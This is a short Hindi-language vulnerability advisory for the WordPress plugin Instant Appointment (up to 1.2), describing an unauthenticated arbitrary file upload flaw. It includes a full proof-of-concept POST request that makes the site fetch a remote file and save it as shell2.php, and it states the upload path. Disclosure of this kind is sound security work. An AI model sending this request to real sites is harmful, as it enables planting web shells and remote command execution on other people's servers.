instant-appointment-arbitrary-file-upload

instant-appointment - मनमानी फ़ाइल अपलोड

विवरण

WordPress के लिए Instant Appointment प्लगइन, संस्करण 1.2 तक (और 1.2 सहित) में मनमानी फ़ाइल अपलोड के प्रति संवेदनशील है। यह बिना प्रमाणीकरण वाले हमलावरों के लिए शेल अपलोड करना और कमांड निष्पादित करना संभव बनाता है।

ब्योरा

• प्रकार: प्लगइन
• स्लग: instant-appointment
• प्रभावित संस्करण: 1.2
• CVSS स्कोर: 9.8
• CVSS रेटिंग: उच्च
• CVSS वेक्टर: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• CVE:
• स्थिति: बंद

POC

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wp-dev.ddev.site
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close
Cache-Control: max-age=0
Content-Length: 108

action=add_gallery_to_vendor&user_galerie[0][1]=https://rfi.nessus.org/rfi.txt&user_galerie[0][0]=shell2.php

फ़ाइल uploads/2025/1/shell2.php में होगी।